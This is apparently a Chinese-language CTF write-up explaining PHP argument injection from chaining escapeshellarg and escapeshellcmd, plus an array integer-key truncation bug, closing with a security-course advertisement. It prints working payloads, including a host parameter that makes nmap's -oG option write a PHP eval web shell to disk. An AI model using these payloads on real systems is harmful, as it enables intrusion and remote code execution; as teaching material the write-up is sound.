直奔主题,首先来了解两个 PHP 函数的定义。
命令参数注入
escapeshellarg
把字符串转码为可以在 shell 命令里使用的参数。
escapeshellcmd
对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。
看上去似乎没什么毛病,escapeshellarg 与 escapeshellcmd 两个函数都是 php 设置来转义非法字符的,不过由于它们俩的转义规则有所不同,当先使用 escapeshellarg 再使用 escapeshellcmd 时,就可能导致命令参数注入。这是为什么呢?
原理解析
test.php
执行的语句将变成
curl '127.0.0.1''' -v -d a=1'
相当于
curl 127.0.0.1 -v -d a=1'
从而实现参数注入
题目分析
下面就以几道 CTF 题作为补充的讲解。
题目1:[0 => 0] === [0x100000000 => 0]
<?php
$user = ['admin', 'xxoo'];
if(empty($_GET['user'])) die(show_souce(__FILE__));
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
} else {
die('sketch_pl4ne_wants_a_girlfriend.');
}
?>
分析
这个实际上考的是索引数组的整数键截断
也就是:https://bugs.php.net/bug.php?id=69892
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)
构造 payload
?user[4294967296]=admin&user[1]=xxoo
//0x100000000 == 4294967296
该漏洞仅在 64 位的 php 中有效
如何判断 32 位还是 64 位?
查看 phpinfo() 即可知道。
题目2:BUUCTF_2018_Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
分析
直接代码审计吧,remote_addr 和 x_forwarded_for 这两个是服务器获取 ip 用的。
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
前面说了,这两个 PHP 函数一起使用,会导致漏洞。
再后面 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
有个 system 来执行命令,而且有传参,这里应该就是突破口了。
nmap 可以做些什么呢?查阅相关资料后,发现一个 namp 参数 -oG 可以实现将命令和结果写到文件。
so,写入上传文件,直接一句话走起吧。
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
执行后会返回文件夹名
连接一句话即可得到 flag。
参考: https:// bugs.php.net/bug.php? id=69892 https://www. php.net/manual/zh/funct ion.escapeshellcmd.php
二向箔安全的网络安全技能包又更新了!学 Python 的也能当黑客了,多实战沉浸式体验,让你回味无穷。
这个春节,让你从 程序猿→黑客x程序员 PLUS!
更多有关渗透测试的内容请前往二向箔安全进行学习,最近推出了“挖洞”班,想了解更多资讯的,可咨询客服微信 twosecurity02